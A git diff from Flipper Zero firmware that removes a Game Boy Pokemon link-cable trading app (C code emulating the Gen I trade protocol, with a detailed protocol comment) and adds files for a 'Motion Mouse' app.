a/applications/external/malveke_pokemon_trading/views/trade.c b/applications/external/malveke_pokemon_trading/views/trade.c deleted file mode 100644 index 55583ebb2da..00000000000 --- a/applications/external/malveke_pokemon_trading/views/trade.c +++ /dev/null @@ -1,809 +0,0 @@ -/* - * This setup always forces the flipper to the follower/slave role in the link. - * This just makes our logic consistent and since we're going to be gobs faster - * than a real Game Boy, we can be guaranteed to always be ready to respond. - * - * As documented here: http://www.adanscotney.com/2014/01/spoofing-pokemon-trades-with-stellaris.html - * The general gist of the communication is as follows: - * 1) Each Game Boy tries to listen for an external clock coming in on the link cable. - * After some unknown timeout, this Game Boy decides its going to take the leader/master role. - * In this state, it generates a clock and repeatedly sends out PKMN_MASTER(0x01) - * 2) The other side, sensing a clock from the leader/master, then responds with PKMN_SLAVE(0x02) - * 3) Once both sides understand their roles, they both respond with PKMN_BLANK(0x00) for a bit. - * 4) Next, the leader/master sends CONNECTED(0x60) bytes that the follower/slave repeats - * back. Then a bunch of BLANK bytes. - * 5) At this point, each Game Boy repeatedly sends the menu item it has highlighted, - * prepended by a BLANK, in groups of 3 bytes. These are ITEM_*_HIGHLIGHTED. - * 6) Then, once both sides send ITEM_*_SELECTED, the next step occurs. - * This application, from steps 3 through 6, just repeats bytes back and lets the Game Boy - * dictate the steps. We stay here until we start seeing PREAMBLE(0xFD) bytes, - * as those dictate the start of the next sections. - * - * The Flipper is now in the "READY" state. - * - * 7) Once the player on the Game Boy side uses the trade table, a block of data is - * transmitted. This starts with 10x PREAMBLE(0xFD) bytes, 10x random bytes (to - * sync the RNG between two devices, unused at this time), and then the 415 trade_block, - * struct gets transferred. At the end of this is 3 ending bytes, DF FE 15. And, weirdly, - * 3 PREAMBLE(0xFD) bytes. - * 8) The patch list starts with 3x more PREAMBLE(0xFD) bytes for a total of 6x PREAMBLE, - * followed by 7x BLANK bytes. Then remaining 189 bytes of patch list data. The patch - * list is used to compensate for byte values of NO_DATA_BYE(0xFE) being transmitted. - * The patch list is specifically for the party data of the trade_block. To patch - * outgoing data, if a byte is 0xFE, it is changed to 0xFF, and the index+1 is - * added to the patch list. There are two parts to the patch list as the data it - * covers is longer than 0xFC. After each part is complete, 0xFF is added to the - * patch list. The first part of the patch list can patch 0x00:0xFB of the party, - * the second part can patch 0xFC:0x107 of the party. If there are no bytes to - * patch in a part, 0xFF is just appended. After both terminators, it is expected - * all remaining bytes are 0x00. - * - * The Flipper is now in the "WAITING" state. - * - * 9) At this point, both sides have full copies of each other's current party. The sides - * simply indicate which Pokemon they are sending. This is done with a BLANK byte to - * start, and then each side indicates which Pokemon it wants to trade with SEL_NUM_MASK(0x60) - * + party index. We always transmit the first Pokemon. Once in a agreement, both - * sides transmit a handful of BLANK bytes. - * - * The Flipper is now in the "DEAL?" state. - * - * A) Starting with another BLANK byte, both sides need to agree to the trade by - * sending TRADE_ACCEPT(0x62) repeatedly, and then a handful of BLANK bytes. - * To disagree with a trade, either side would send TRADE_REJECT(0x61), the - * Flipper will never send this on its own. If the Game Boy does, both it and - * the flipper got back to step 9 again. - * - * The Flipper is now in the "TRADING" state. - * - * B) The Flipper actually goes back to step 7, but keeps the drawing mode as - * TRADING. After the trade is complete on the Game Boy, it re-sends the - * trade_block data. This re-syncs the states between the Flipper and - * Game Boy and another trade can occur. - * - * *) A point of note is that the Flipper can go back to the main menu from - * any state. Though, doing so in the TRADING state might actually cause - * the Game Boy to have issues. When in READY or WAITING state, the Flipper - * can go back and modify the Pokemon that the Game Boy sent to it. If the - * Flipper then goes back to Trade from the main menu, it will be in the - * READY state. If the Game Boy is still on the trade menu, and it tries - * to trade, the trade will be rejected. The Game Boy needs to exit the - * trade menu, and then re-enter it by selecting the table in the trade - * center. This will then push the Flipper to the WAITING state, and the - * trade_blocks will re-sync between them with the new data. If the Game Boy - * leave the trade menu while the Flipper is in the WAITING state, the - * Flipper will go back to the READY state. - * - * TODO: Set up requiring a long back press to go back to the main menu - * from the TRADING state or from the main menu to exit the application. - */ - -#include -#include - -#include -#include - -#include "../pokemon_app.h" -#include "trade_patch_list.h" - -#define GAME_BOY_CLK gpio_ext_pb3 -#define GAME_BOY_SI gpio_ext_pa6 -#define GAME_BOY_SO gpio_ext_pa7 - -#define DELAY_MICROSECONDS 15 -#define PKMN_BLANK 0x00 - -#define ITEM_1_HIGHLIGHTED 0xD0 -#define ITEM_2_HIGHLIGHTED 0xD1 -#define ITEM_3_HIGHLIGHTED 0xD2 -#define ITEM_1_SELECTED 0xD4 -#define ITEM_2_SELECTED 0xD5 -#define ITEM_3_SELECTED 0xD6 - -#define SERIAL_PREAMBLE_BYTE 0xFD - -#define SERIAL_PREAMBLE_LENGTH 6 -#define SERIAL_RN_PREAMBLE_LENGTH 7 -#define SERIAL_TRADE_PREAMBLE_LENGTH 9 -#define SERIAL_RNS_LENGTH 10 -#define SERIAL_PATCH_LIST_PART_TERMINATOR 0xFF -#define SERIAL_NO_DATA_BYTE 0xFE - -#define PKMN_MASTER 0x01 -#define PKMN_SLAVE 0x02 -#define PKMN_CONNECTED 0x60 -#define PKMN_TRADE_ACCEPT 0x62 -#define PKMN_TRADE_REJECT 0x61 -#define PKMN_TABLE_LEAVE 0x6f -#define PKMN_SEL_NUM_MASK 0x60 -#define PKMN_SEL_NUM_ONE 0x60 - -#define PKMN_ACTION 0x60 - -#define PKMN_TRADE_CENTRE ITEM_1_SELECTED -#define PKMN_COLOSSEUM ITEM_2_SELECTED -#define PKMN_BREAK_LINK ITEM_3_SELECTED - -/* States specific to the trade process. */ -typedef enum { - TRADE_RESET, - TRADE_INIT, - TRADE_RANDOM, - TRADE_DATA, - TRADE_PATCH_HEADER, - TRADE_PATCH_DATA, - TRADE_SELECT, - TRADE_PENDING, - TRADE_CONFIRMATION, - TRADE_DONE -} trade_centre_state_t; - -/* Global states for the trade logic. These are used to dictate what gets drawn - * to the screen but also handle a few sync states. The CONN states are to denote - * if a link has been established or note. READY through TRADING are all specific - * screens to draw in the trade center. COLOSSEUM causes a data loopback so the - * player can fight themselves. - */ -typedef enum { - GAMEBOY_CONN_FALSE, - GAMEBOY_CONN_TRUE, - GAMEBOY_READY, - GAMEBOY_WAITING, - GAMEBOY_TRADE_PENDING, - GAMEBOY_TRADING, - GAMEBOY_COLOSSEUM -} render_gameboy_state_t; - -/* Anonymous struct */ -struct trade_ctx { - trade_centre_state_t trade_centre_state; - FuriTimer* draw_timer; - View* view; - uint8_t in_data; - uint8_t out_data; - uint8_t shift; - TradeBlock* trade_block; - TradeBlock* input_block; - const PokemonTable* pokemon_table; - struct patch_list* patch_list; -}; - -/* These are the needed variables for the draw callback */ -struct trade_model { - render_gameboy_state_t gameboy_status; - bool ledon; // Controls the blue LED during trade - uint8_t curr_pokemon; - const PokemonTable* pokemon_table; -}; - -/* A callback function that must be called outside of an interrupt context, - * This will completely destroy the current patch list, and then rebuild it from - * the current trade_block state. This is used mostly after a trade to rebuild - * the list with the new data we just copied in. - */ -static void pokemon_plist_recreate_callback(void* context, uint32_t arg) { - furi_assert(context); - UNUSED(arg); - struct trade_ctx* trade = context; - - plist_create(&(trade->patch_list), trade->trade_block); -} - -/* Draws a whole screen image with Flipper mascot, Game Boy, etc. */ -static void trade_draw_connect(Canvas* const canvas) { - furi_assert(canvas); - - canvas_draw_frame(canvas, 0, 0, 128, 64); - canvas_draw_icon(canvas, 1, 21, &I_Connect_me_62x31); - canvas_draw_icon(canvas, 0, 53, &I_Background_128x11); - canvas_draw_icon(canvas, 80, 0, &I_game_boy); - canvas_draw_icon(canvas, 8, 2, &I_Space_65x18); - canvas_draw_str(canvas, 18, 13, "Connect GB"); -} - -/* Draws a whole screen image with Flipper mascot, Game Boy, etc. */ -static void trade_draw_connected(Canvas* const canvas) { - furi_assert(canvas); - - canvas_draw_frame(canvas, 0, 0, 128, 64); - canvas_draw_icon(canvas, 1, 21, &I_Connected_62x31); - canvas_draw_icon(canvas, 0, 53, &I_Background_128x11); - canvas_draw_icon(canvas, 80, 0, &I_game_boy); - canvas_draw_icon(canvas, 8, 2, &I_Space_65x18); - canvas_draw_str(canvas, 18, 13, "Connected!"); -} - -/* Draws a frame around the screen, with a box at the top for a text string, - * and an icon of the player. - */ -static void trade_draw_frame(Canvas* canvas, const char* str) { - furi_assert(canvas); - - canvas_draw_icon(canvas, 0, 53, &I_Background_128x11); - canvas_draw_frame(canvas, 0, 0, 128, 64); - canvas_draw_icon(canvas, 24, 0, &I_Space_80x18); - canvas_draw_str(canvas, 48, 12, str); - canvas_draw_icon(canvas, 27, 1, &I_red_16x15); -} - -/* Draws the Pokemon's image in the middle of the screen */ -static void trade_draw_pkmn_avatar(Canvas* canvas, const Icon* icon) { - furi_assert(canvas); - furi_assert(icon); - - canvas_draw_icon(canvas, 38, 11, icon); - furi_hal_light_set(LightBlue, 0x00); - furi_hal_light_set(LightGreen, 0x00); -} - -/* Called every 250 ms on a timer. This controls the blue LED when in TRADING - * state. This is necessary as Flipper OS does not make any guarantees on when - * draw updates may or may not be called. There are situations where a draw - * update is called much faster. Therefore, we need to control the update rate - * via the ledon view_model variable. - */ -static void trade_draw_timer_callback(void* context) { - furi_assert(context); - - struct trade_ctx* trade = (struct trade_ctx*)context; - - with_view_model( - trade->view, struct trade_model * model, { model->ledon ^= 1; }, true); -} - -static void trade_draw_callback(Canvas* canvas, void* view_model) { - furi_assert(view_model); - struct trade_model* model = view_model; - const Icon* icon = model->pokemon_table[model->curr_pokemon].icon; - - canvas_clear(canvas); - switch(model->gameboy_status) { - case GAMEBOY_CONN_FALSE: - furi_hal_light_set(LightGreen, 0x00); - furi_hal_light_set(LightRed, 0xff); - trade_draw_connect(canvas); - break; - case GAMEBOY_CONN_TRUE: - furi_hal_light_set(LightGreen, 0xff); - furi_hal_light_set(LightRed, 0x00); - trade_draw_connected(canvas); - break; - case GAMEBOY_READY: - trade_draw_pkmn_avatar(canvas, icon); - trade_draw_frame(canvas, "READY"); - break; - case GAMEBOY_WAITING: - trade_draw_pkmn_avatar(canvas, icon); - trade_draw_frame(canvas, "WAITING"); - break; - case GAMEBOY_TRADE_PENDING: - trade_draw_pkmn_avatar(canvas, icon); - trade_draw_frame(canvas, "DEAL?"); - break; - case GAMEBOY_TRADING: - furi_hal_light_set(LightGreen, 0x00); - if(model->ledon) { - furi_hal_light_set(LightBlue, 0xff); - canvas_draw_icon(canvas, 0, 0, &I_gb_step_1); - } else { - furi_hal_light_set(LightBlue, 0x00); - canvas_draw_icon(canvas, 0, 0, &I_gb_step_2); - } - trade_draw_frame(canvas, "TRADING"); - break; - case GAMEBOY_COLOSSEUM: - trade_draw_frame(canvas, "FIGHT!"); - break; - default: - trade_draw_frame(canvas, "INITIAL"); - break; - } -} - -/* Get the response byte from the link partner, updating the connection - * state if needed. - */ -static uint8_t getConnectResponse(struct trade_ctx* trade) { - furi_assert(trade); - uint8_t ret; - - switch(trade->in_data) { - case PKMN_CONNECTED: - with_view_model( - trade->view, - struct trade_model * model, - { model->gameboy_status = GAMEBOY_CONN_TRUE; }, - false); - ret = PKMN_CONNECTED; - break; - case PKMN_MASTER: - ret = PKMN_SLAVE; - break; - case PKMN_BLANK: - ret = PKMN_BLANK; - break; - default: - with_view_model( - trade->view, - struct trade_model * model, - { model->gameboy_status = GAMEBOY_CONN_FALSE; }, - false); - ret = PKMN_BREAK_LINK; - break; - } - - return ret; -} - -/* Receive what the Pokemon game is requesting and move to that mode. - * - * This reads bytes sent by the Game Boy and responds. The only things - * we care about are when menu items are actually selected. The protocol - * seems to send data both when one of the link menu items is highlighted - * and when one of them is selected. - * - * If somehow we get a leader/master byte received, then go back to the - * NOT_CONNECTED state. For the leader/master byte likely means that - * the linked Game Boy is still trying to negotiate roles and we need to - * respond with a follower/slave byte. - * - * Note that, we can probably eventually drop colosseum/battle connections, - * though it may be an interesting exercise in better understanding how the - * "random" seeding is done between the units. As noted here: - * http://www.adanscotney.com/2014/01/spoofing-pokemon-trades-with-stellaris.html - * it is presumed these bytes are to sync the RNG seed between the units to - * not need arbitration on various die rolls. - */ -static uint8_t getMenuResponse(struct trade_ctx* trade) { - furi_assert(trade); - - uint8_t response = PKMN_BLANK; - - switch(trade->in_data) { - case PKMN_CONNECTED: - response = PKMN_CONNECTED; - break; - case PKMN_TRADE_CENTRE: - with_view_model( - trade->view, - struct trade_model * model, - { model->gameboy_status = GAMEBOY_READY; }, - false); - break; - case PKMN_COLOSSEUM: - with_view_model( - trade->view, - struct trade_model * model, - { model->gameboy_status = GAMEBOY_COLOSSEUM; }, - false); - break; - case PKMN_BREAK_LINK: - case PKMN_MASTER: - with_view_model( - trade->view, - struct trade_model * model, - { model->gameboy_status = GAMEBOY_CONN_FALSE; }, - false); - response = PKMN_BREAK_LINK; - break; - default: - response = trade->in_data; - break; - } - - return response; -} - -static uint8_t getTradeCentreResponse(struct trade_ctx* trade) { - furi_assert(trade); - - uint8_t* trade_block_flat = (uint8_t*)trade->trade_block; - uint8_t* input_block_flat = (uint8_t*)trade->input_block; - uint8_t* input_party_flat = (uint8_t*)trade->input_block->party; - struct trade_model* model = NULL; - uint8_t in = trade->in_data; - uint8_t send = in; - static bool patch_pt_2; - static int counter; - static uint8_t in_pkmn_idx; - - /* TODO: Figure out how we should respond to a no_data_byte and/or how to - * send one and what response to expect. - * - * This isn't a high priority since it should be unlikely that we would - * actually ever receive a NO_DATA_BYE as the Game Boy is the leader/master - * and therefore would only transmit when it has data ready. - */ - - /* Since this is a fairly long function, it doesn't call any other functions, - * the view model isn't locked, and we're in an interrupt context, lets just - * map the view model to a local var and commit it back when we're done. - */ - model = view_get_model(trade->view); - - /* There is a handful of communications that happen once the Game Boy - * clicks on the table. For all of them, the Flipper can just mirror back - * the byte the Game Boy sends. We can spin in this forever until we see 10x - * SERIAL_PREAMBLE_BYTEs. Once we receive those, the counters are synced, - * and every byte after that can be easily counted for the actual transfer - * of Pokemon data. - */ - switch(trade->trade_centre_state) { - case TRADE_RESET: - /* Reset counters and other static variables */ - counter = 0; - patch_pt_2 = false; - trade->trade_centre_state = TRADE_INIT; - break; - - /* This state runs through the end of the random preamble */ - case TRADE_INIT: - if(in == SERIAL_PREAMBLE_BYTE) { - counter++; - model->gameboy_status = GAMEBOY_WAITING; - } else if((in & PKMN_SEL_NUM_MASK) == PKMN_SEL_NUM_MASK) { - send = PKMN_TABLE_LEAVE; - } - if(counter == SERIAL_RNS_LENGTH) { - trade->trade_centre_state = TRADE_RANDOM; - counter = 0; - } - break; - - /* Once we start getting PKMN_BLANKs, we mirror them until we get 10x - * SERIAL_PREAMBLE_BYTE, and then 10 random numbers. The 10 random - * numbers are for synchronizing the PRNG between the two systems, - * we do not use these numbers at this time. - * - * This waits through the end of the trade block preamble, a total of 20 - * bytes. - */ - case TRADE_RANDOM: - counter++; - if(counter == (SERIAL_RNS_LENGTH + SERIAL_TRADE_PREAMBLE_LENGTH)) { - trade->trade_centre_state = TRADE_DATA; - counter = 0; - } - break; - - /* This is where we exchange trade_block data with the Game Boy */ - case TRADE_DATA: - input_block_flat[counter] = in; - send = trade_block_flat[counter]; - counter++; - - if(counter == sizeof(TradeBlock)) { - trade->trade_centre_state = TRADE_PATCH_HEADER; - counter = 0; - } - - break; - - /* This absorbs the 3 byte ending sequence (DF FE 15) after the trade data is - * swapped, then the 3x SERIAL_PREAMBLE_BYTEs that end the trade data, and - * another 3x of them that start the patch data. By the time we're done with - * this state, the patch list BLANK bytes are ready to be transmitted. - * We only care about the 6x total preamble bytes. - */ - case TRADE_PATCH_HEADER: - if(in == SERIAL_PREAMBLE_BYTE) { - counter++; - } - - if(counter == 6) { - counter = 0; - trade->trade_centre_state = TRADE_PATCH_DATA; - } else { - break; - } - [[fallthrough]]; - case TRADE_PATCH_DATA: - counter++; - /* This magic number is basically the header length, 10, minus - * the 3x 0xFD that we should be transmitting as part of the patch - * list header. - */ - if(counter > 7) { - send = plist_index_get(trade->patch_list, (counter - 8)); - } - - /* Patch received data */ - /* This relies on the data sent only ever sending 0x00 after - * part 2 of the patch list has been terminated. This is the - * case in official Gen I code at this time. - */ - switch(in) { - case PKMN_BLANK: - break; - case SERIAL_PATCH_LIST_PART_TERMINATOR: - patch_pt_2 = true; - break; - default: // Any nonzero value will cause a patch - if(!patch_pt_2) { - /* Pt 1 is 0x00 - 0xFB */ - input_party_flat[in - 1] = SERIAL_NO_DATA_BYTE; - } else { - /* Pt 2 is 0xFC - 0x107 - * 0xFC + in - 1 - */ - input_party_flat[0xFB + in] = SERIAL_NO_DATA_BYTE; - } - break; - } - - /* What is interesting about the following check, is the Pokemon code - * seems to allocate 203 bytes, 3x for the preamble, and then 200 bytes - * of patch list. But in practice, the Game Boy seems to transmit 3x - * preamble bytes, 7x 0x00, then 189 bytes for the patch list. A - * total of 199 bytes transmitted. - */ - if(counter == 196) trade->trade_centre_state = TRADE_SELECT; - - break; - - /* Resets the incoming Pokemon index, and once a BLANK byte is received, - * moves to the pending state. - */ - case TRADE_SELECT: - in_pkmn_idx = 0; - if(in == PKMN_BLANK) { - trade->trade_centre_state = TRADE_PENDING; - } else { - break; - } - [[fallthrough]]; - /* Handle the Game Boy selecting a Pokemon to trade, or leaving the table */ - case TRADE_PENDING: - /* If the player leaves the trade menu and returns to the room */ - if(in == PKMN_TABLE_LEAVE) { - trade->trade_centre_state = TRADE_RESET; - send = PKMN_TABLE_LEAVE; - model->gameboy_status = GAMEBOY_READY; - /* If the player selected a Pokemon to send from the Game Boy */ - } else if((in & PKMN_SEL_NUM_MASK) == PKMN_SEL_NUM_MASK) { - in_pkmn_idx = in; - send = PKMN_SEL_NUM_ONE; // We always send the first Pokemon - model->gameboy_status = GAMEBOY_TRADE_PENDING; - /* BLANKs are sent in a few places, we want to do nothing about them - * unless the Game Boy already sent us an index they want to trade. - */ - } else if(in == PKMN_BLANK) { - if(in_pkmn_idx != 0) { - send = 0; - trade->trade_centre_state = TRADE_CONFIRMATION; - in_pkmn_idx &= 0x0F; - } - } - break; - - /* Handle the Game Boy accepting or rejecting a trade deal */ - case TRADE_CONFIRMATION: - if(in == PKMN_TRADE_REJECT) { - trade->trade_centre_state = TRADE_SELECT; - model->gameboy_status = GAMEBOY_WAITING; - } else if(in == PKMN_TRADE_ACCEPT) { - trade->trade_centre_state = TRADE_DONE; - } - break; - - /* Start the actual trade. Waits in reset until the Game Boy is done with - * its animation and re-exchanges updated party data. - */ - case TRADE_DONE: - if(in == PKMN_BLANK) { - trade->trade_centre_state = TRADE_RESET; - model->gameboy_status = GAMEBOY_TRADING; - - /* Copy the traded-in Pokemon's main data to our struct */ - trade->trade_block->party_members[0] = trade->input_block->party_members[in_pkmn_idx]; - memcpy( - &(trade->trade_block->party[0]), - &(trade->input_block->party[in_pkmn_idx]), - sizeof(struct pokemon_structure)); - memcpy( - &(trade->trade_block->nickname[0]), - &(trade->input_block->nickname[in_pkmn_idx]), - sizeof(struct name)); - memcpy( - &(trade->trade_block->ot_name[0]), - &(trade->input_block->ot_name[in_pkmn_idx]), - sizeof(struct name)); - model->curr_pokemon = pokemon_table_get_num_from_index( - trade->pokemon_table, trade->trade_block->party_members[0]); - - /* Schedule a callback outside of ISR context to rebuild the patch - * list with the new Pokemon that we just accepted. - */ - furi_timer_pending_callback(pokemon_plist_recreate_callback, trade, 0); - } - break; - - default: - // Do Nothing - break; - } - - view_commit_model(trade->view, false); - - return send; -} - -void transferBit(void* context) { - furi_assert(context); - - struct trade_ctx* trade = (struct trade_ctx*)context; - render_gameboy_state_t status; - - with_view_model( - trade->view, struct trade_model * model, { status = model->gameboy_status; }, false); - - /* Shift data in every clock */ - trade->in_data <<= 1; - trade->in_data |= furi_hal_gpio_read(&GAME_BOY_SI); - trade->shift++; - - /* Once a byte of data has been shifted in, process it */ - if(trade->shift == 8) { - trade->shift = 0; - switch(status) { - case GAMEBOY_CONN_FALSE: - trade->out_data = getConnectResponse(trade); - break; - case GAMEBOY_CONN_TRUE: - trade->out_data = getMenuResponse(trade); - break; - case GAMEBOY_COLOSSEUM: - trade->out_data = trade->in_data; - break; - /* Every other state is trade related */ - default: - trade->out_data = getTradeCentreResponse(trade); - break; - } - } -} - -void input_clk_gameboy(void* context) { - furi_assert(context); - - struct trade_ctx* trade = (struct trade_ctx*)context; - static uint32_t time; - /* Clocks idle between bytes is nominally 430 us long for burst data, - * 15 ms for idle polling (e.g. waiting for menu selection), some oddball - * 2 ms gaps that appears between one 0xFE byte from the Game Boy every trade; - * clock period is nominally 122 us. - * Therefore, if we haven't seen a clock in 500 us, reset our bit counter. - * Note that, this should never actually be a concern, but it is an additional - * safeguard against desyncing. - */ - const uint32_t time_ticks = furi_hal_cortex_instructions_per_microsecond() * 500; - - if(furi_hal_gpio_read(&GAME_BOY_CLK)) { - if((DWT->CYCCNT - time) > time_ticks) { - trade->in_data = 0; - trade->shift = 0; - } - transferBit(trade); - time = DWT->CYCCNT; - } else { - /* On the falling edge of each clock, set up the next bit */ - furi_hal_gpio_write(&GAME_BOY_SO, !!(trade->out_data & 0x80)); - trade->out_data <<= 1; - } -} - -void trade_enter_callback(void* context) { - furi_assert(context); - struct trade_ctx* trade = (struct trade_ctx*)context; - struct trade_model* model; - - model = view_get_model(trade->view); - - if(model->gameboy_status == GAMEBOY_COLOSSEUM) { - model->gameboy_status = GAMEBOY_CONN_FALSE; - } else if(model->gameboy_status > GAMEBOY_READY) { - model->gameboy_status = GAMEBOY_READY; - } - trade->trade_centre_state = TRADE_RESET; - model->pokemon_table = trade->pokemon_table; - model->curr_pokemon = pokemon_table_get_num_from_index( - trade->pokemon_table, trade->trade_block->party_members[0]); - model->ledon = false; - - view_commit_model(trade->view, true); - - trade->in_data = 0; - trade->out_data = 0; - trade->shift = 0; - - /* Every 250 ms, trigger a draw update. 250 ms was chosen so that during - * the trade process, each update can flip the LED and screen to make the - * trade animation. - */ - trade->draw_timer = furi_timer_alloc(trade_draw_timer_callback, FuriTimerTypePeriodic, trade); - furi_timer_start(trade->draw_timer, furi_ms_to_ticks(250)); - - // B3 (Pin6) / SO (2) - furi_hal_gpio_write(&GAME_BOY_SO, false); - furi_hal_gpio_init(&GAME_BOY_SO, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh); - // B2 (Pin5) / SI (3) - furi_hal_gpio_write(&GAME_BOY_SI, false); - furi_hal_gpio_init(&GAME_BOY_SI, GpioModeInput, GpioPullUp, GpioSpeedVeryHigh); - // // C3 (Pin7) / CLK (5) - furi_hal_gpio_init(&GAME_BOY_CLK, GpioModeInterruptRiseFall, GpioPullUp, GpioSpeedVeryHigh); - furi_hal_gpio_remove_int_callback(&GAME_BOY_CLK); - - furi_hal_gpio_add_int_callback(&GAME_BOY_CLK, input_clk_gameboy, trade); - - /* Create a trade patch list from the current trade block */ - plist_create(&(trade->patch_list), trade->trade_block); -} - -void disconnect_pin(const GpioPin* pin) { - /* Existing projects seem to set the pin back to analog mode upon exit */ - furi_hal_gpio_init_simple(pin, GpioModeAnalog); -} - -void trade_exit_callback(void* context) { - furi_assert(context); - - struct trade_ctx* trade = (struct trade_ctx*)context; - - furi_hal_light_set(LightGreen, 0x00); - furi_hal_light_set(LightBlue, 0x00); - furi_hal_light_set(LightRed, 0x00); - - /* Stop the timer, and deallocate it as the enter callback allocates it on entry */ - furi_timer_free(trade->draw_timer); - trade->draw_timer = NULL; - - /* Unset our interrupt callback */ - furi_hal_gpio_remove_int_callback(&GAME_BOY_CLK); - disconnect_pin(&GAME_BOY_CLK); - - /* Destroy the patch list, it is allocated on the enter callback */ - plist_free(trade->patch_list); - trade->patch_list = NULL; -} - -void* trade_alloc( - TradeBlock* trade_block, - const PokemonTable* table, - ViewDispatcher* view_dispatcher, - uint32_t view_id) { - furi_assert(trade_block); - - struct trade_ctx* trade = malloc(sizeof(struct trade_ctx)); - - memset(trade, '\0', sizeof(struct trade_ctx)); - trade->view = view_alloc(); - trade->trade_block = trade_block; - trade->input_block = malloc(sizeof(TradeBlock)); - trade->pokemon_table = table; - trade->patch_list = NULL; - - view_set_context(trade->view, trade); - view_allocate_model(trade->view, ViewModelTypeLockFree, sizeof(struct trade_model)); - - view_set_draw_callback(trade->view, trade_draw_callback); - view_set_enter_callback(trade->view, trade_enter_callback); - view_set_exit_callback(trade->view, trade_exit_callback); - - view_dispatcher_add_view(view_dispatcher, view_id, trade->view); - - return trade; -} - -void trade_free(ViewDispatcher* view_dispatcher, uint32_t view_id, void* trade_ctx) { - furi_assert(trade_ctx); - - struct trade_ctx* trade = (struct trade_ctx*)trade_ctx; - - view_dispatcher_remove_view(view_dispatcher, view_id); - - view_free_model(trade->view); - view_free(trade->view); - free(trade->input_block); - free(trade); -} diff --git a/applications/external/malveke_pokemon_trading/views/trade.h b/applications/external/malveke_pokemon_trading/views/trade.h deleted file mode 100644 index 7092d11bf9a..00000000000 --- a/applications/external/malveke_pokemon_trading/views/trade.h +++ /dev/null @@ -1,17 +0,0 @@ -#ifndef TRADE_H -#define TRADE_H - -#pragma once - -#include -#include "../pokemon_app.h" - -void* trade_alloc( - TradeBlock* trade_block, - const PokemonTable* table, - ViewDispatcher* view_dispatcher, - uint32_t view_id); - -void trade_free(ViewDispatcher* view_dispatcher, uint32_t view_id, void* trade_ctx); - -#endif /* TRADE_H */ diff --git a/applications/external/malveke_pokemon_trading/views/trade_patch_list.c b/applications/external/malveke_pokemon_trading/views/trade_patch_list.c deleted file mode 100644 index 2251d8bf5fb..00000000000 --- a/applications/external/malveke_pokemon_trading/views/trade_patch_list.c +++ /dev/null @@ -1,86 +0,0 @@ -#include "../pokemon_app.h" -#include "trade_patch_list.h" - -struct patch_list* plist_alloc(void) { - struct patch_list* plist = NULL; - - plist = malloc(sizeof(struct patch_list)); - plist->index = 0; - plist->next = NULL; - return plist; -} - -void plist_append(struct patch_list* plist, uint8_t index) { - furi_assert(plist); - - for(;;) { - if(plist->next == NULL) break; - plist = plist->next; - } - plist->index = index; - plist->next = plist_alloc(); -} - -void plist_free(struct patch_list* plist) { - struct patch_list* plist_next = NULL; - - while(plist != NULL) { - plist_next = plist->next; - free(plist); - plist = plist_next; - } -} - -/* Returns the index value at offset member of the list. If offset is beyond - * the length of the allocated list, it will just return 0. - */ -uint8_t plist_index_get(struct patch_list* plist, int offset) { - furi_assert(plist); - int i; - - for(i = 0; i < offset; i++) { - if(plist->next == NULL) break; - plist = plist->next; - } - - return plist->index; -} - -void plist_create(struct patch_list** pplist, TradeBlock* trade_block) { - furi_assert(trade_block); - uint8_t* trade_party_flat = (uint8_t*)trade_block->party; - int i; - - /* If plist is non-NULL that means its already been created. Tear it down - * first. - */ - if(*pplist != NULL) { - plist_free(*pplist); - *pplist = NULL; - } - - *pplist = plist_alloc(); - /* NOTE: 264 magic number is the length of the party block, 44 * 6 */ - /* The first half of the patch list covers offsets 0x00 - 0xfb, which - * is expressed as 0x01 - 0xfc. An 0xFF byte is added to signify the - * end of the first part. The second half of the patch list covers - * offsets 0xfc - 0x107. Which is expressed as 0x01 - 0xc. A 0xFF byte - * is added to signify the end of the second part/ - */ - for(i = 0; i < 264; i++) { - FURI_LOG_D(TAG, "%02X", trade_party_flat[i]); - if(i == 0xFC) { - FURI_LOG_D(TAG, "[plist] part 1 end"); - plist_append(*pplist, 0xFF); - } - - if(trade_party_flat[i] == 0xFE) { - FURI_LOG_D( - TAG, "[plist] patching byte 0x%02X, adding 0x%02X to plist", i, (i % 0xfc) + 1); - plist_append(*pplist, (i % 0xfc) + 1); - trade_party_flat[i] = 0xFF; - } - } - FURI_LOG_D(TAG, "[plist] part 2 end"); - plist_append(*pplist, 0xFF); -} diff --git a/applications/external/malveke_pokemon_trading/views/trade_patch_list.h b/applications/external/malveke_pokemon_trading/views/trade_patch_list.h deleted file mode 100644 index 649c990f852..00000000000 --- a/applications/external/malveke_pokemon_trading/views/trade_patch_list.h +++ /dev/null @@ -1,24 +0,0 @@ -#ifndef TRADE_PATCH_LIST_H -#define TRADE_PATCH_LIST_H - -#pragma once - -#include -#include "../pokemon_app.h" - -struct patch_list { - uint8_t index; - struct patch_list* next; -}; - -struct patch_list* plist_alloc(void); - -void plist_append(struct patch_list* plist, uint8_t index); - -void plist_free(struct patch_list* plist); - -uint8_t plist_index_get(struct patch_list* plist, int offset); - -void plist_create(struct patch_list** pplist, TradeBlock* trade_block); - -#endif /* TRADE_PATCH_LIST_H */ diff --git a/applications/external/motion_mouse/application.fam b/applications/external/motion_mouse/application.fam new file mode 100644 index 00000000000..e766a4480f9 --- /dev/null +++ b/applications/external/motion_mouse/application.fam @@ -0,0 +1,13 @@ +App( + appid="motion_mouse", + name="Motion Mouse", + apptype=FlipperAppType.EXTERNAL, + entry_point="motion_mouse_app", + stack_size=4 * 1024, + fap_icon_assets="assets", + fap_category="GPIO", + fap_author="nminaylov", + fap_weburl="https://github.com/flipperdevices/flipperzero-good-faps/tree/nm/motion_mouse_app", + fap_version=(1, 0), + fap_description="Turns flipper with ICM42688 module into air mouse", +) diff --git a/applications/external/malveke_pokemon_trading/assets/Button_18x18.png b/applications/external/motion_mouse/assets/Circles_47x47.png similarity index 73% rename from applications/external/malveke_pokemon_trading/assets/Button_18x18.png rename to applications/external/motion_mouse/assets/Circles_47x47.png index 30a5b4fab23..6a16ebf7bbe 100644 Binary files a/applications/external/malveke_pokemon_trading/assets/Button_18x18.png and b/applications/external/motion_mouse/assets/Circles_47x47.png differ diff --git a/applications/external/motion_mouse/assets/Left_mouse_icon_9x9.png b/applications/external/motion_mouse/assets/Left_mouse_icon_9x9.png new file mode 100644 index 00000000000..c533d85729f Binary files /dev/null and b/applications/external/motion_mouse/assets/Left_mouse_icon_9x9.png differ diff --git a/applications/external/motion_mouse/assets/Right_mouse_icon_9x9.png 